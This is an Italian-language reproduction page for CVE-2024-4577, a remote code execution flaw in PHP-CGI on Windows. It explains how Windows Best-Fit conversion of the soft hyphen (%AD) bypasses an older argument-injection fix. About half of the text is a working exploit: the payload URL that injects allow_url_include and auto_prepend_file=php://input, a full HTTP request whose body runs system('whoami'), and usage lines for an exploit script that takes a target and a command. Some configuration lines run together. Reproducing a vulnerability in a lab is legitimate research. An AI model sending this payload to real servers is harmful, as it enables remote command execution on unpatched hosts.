
Riproduzione CVE: cve-2024-4577-phpcgi_rce_reproduction
CVE-2024-4577 è una vulnerabilità critica di esecuzione remota di codice nell'implementazione CGI di PHP su Windows. Bypassa la correzione della CVE-2012-1823 originale sfruttando la conversione delle code page "Best-Fit" di Windows per introdurre argomenti della riga di comando attraverso la query string CGI.
Quando PHP viene eseguito come modulo CGI (php-cgi.exe), analizza la query string come argomenti della riga di comando. La correzione originale per CVE-2012-1823 bloccava il carattere - (trattino, 0x2D) per prevenire l'iniezione di argomenti. Tuttavia, sui sistemi Windows che utilizzano determinate code page (ad es. cinese, giapponese, coreano), la funzione di mappatura dei caratteri "Best-Fit" converte specifici caratteri Unicode nei loro equivalenti ASCII più vicini.
La chiave del bypass utilizza il carattere trattino morbido (0xAD / U+00AD). Quando una richiesta passa %AD nella query string e la localizzazione del server utilizza una code page "Best-Fit", Windows converte internamente 0xAD in 0x2D (trattino), consentendo all'attaccante di iniettare argomenti PHP nonostante il filtro.
Esempio: %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input diventa -d allow_url_include=1 -d auto_prepend_file=php://input.
Requisiti di configurazione:
php-cgi.exemod_cgi o mod_cgid configuratiScriptAlias /php-cgi/ "C:/php/"
Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://inputpython exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo
Il payload appositamente costruito inietta direttive di configurazione PHP tramite la query string:
GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded
<?php system("whoami"); ?>
php-cgi.exe